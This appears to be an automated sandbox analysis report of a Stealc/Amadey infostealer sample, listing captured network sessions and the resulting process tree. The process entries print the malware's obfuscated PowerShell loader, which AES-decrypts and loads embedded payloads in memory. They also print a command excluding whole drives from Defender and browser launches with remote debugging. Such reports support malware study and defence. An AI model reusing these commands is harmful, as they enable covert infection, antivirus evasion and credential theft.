2024-11-30 21:54:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 435fa678-901e-00ac-1f61-43b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215443Z-174f7845968j6t2phC1EWRcfe8000000128g000000001tvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 21:54:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.9	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:43 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:43 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: f8ee177c-a01e-003d-4591-3f98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215443Z-174f7845968kvnqxhC1EWRmf3g0000000ntg00000000b41n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:43 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:44 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:44 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 1c1a47f4-e01e-0003-7d9e-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215444Z-174f7845968j6t2phC1EWRcfe8000000125g000000009e1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:44 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:44 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:44 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 605c0013-301e-0099-6691-3f6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215444Z-174f7845968qj8jrhC1EWRh41s0000001200000000005txg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:44 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	16:52:21
Start date:	30/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x560000
File size:	1'803'264 bytes
MD5 hash:	F1342D3C266F900B0F741A88D34C2C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:52:32
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:52:33
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2016,i,11931169418970791353,8527308257632557293,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:52:43
Start date:	30/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:52:44
Start date:	30/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2268,i,4270709120821206105,7988913015437198549,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:52:44
Start date:	30/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:52:44
Start date:	30/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,15762484504368215881,17872325202464859590,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:53:16
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:53:16
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:53:16
Start date:	30/11/2024
Path:	C:\Users\user\Documents\GCGHCBKFCF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\GCGHCBKFCF.exe"
Imagebase:	0x870000
File size:	1'892'864 bytes
MD5 hash:	E4C570FBA70843D9127A627D5F627766
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2073320644.0000000000871000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2030270292.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:53:18
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd30000
File size:	1'892'864 bytes
MD5 hash:	E4C570FBA70843D9127A627D5F627766
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2113502569.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.2073054703.0000000005510000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:53:18
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd30000
File size:	1'892'864 bytes
MD5 hash:	E4C570FBA70843D9127A627D5F627766
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2113093555.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2072651277.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:54:00
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd30000
File size:	1'892'864 bytes
MD5 hash:	E4C570FBA70843D9127A627D5F627766
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3965228460.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2475153902.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	16:54:13
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:54:13
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:54:13
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:54:13
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:54:14
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:54:16
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:54:16
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:54:20
Start date:	30/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff633410000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001E.00000002.4026201365.0000000008270000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001E.00000000.2669314318.0000000007590000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001E.00000002.4020661600.0000000007590000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	16:54:20
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:54:20
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:54:23
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000021.00000002.3949691335.00000000008A0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000021.00000002.3949232550.0000000000870000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000021.00000000.2693465530.0000000000870000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	16:54:25
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000022.00000000.2705482772.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000022.00000002.3949200036.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000022.00000002.3949583923.0000000000700000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	16:54:25
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
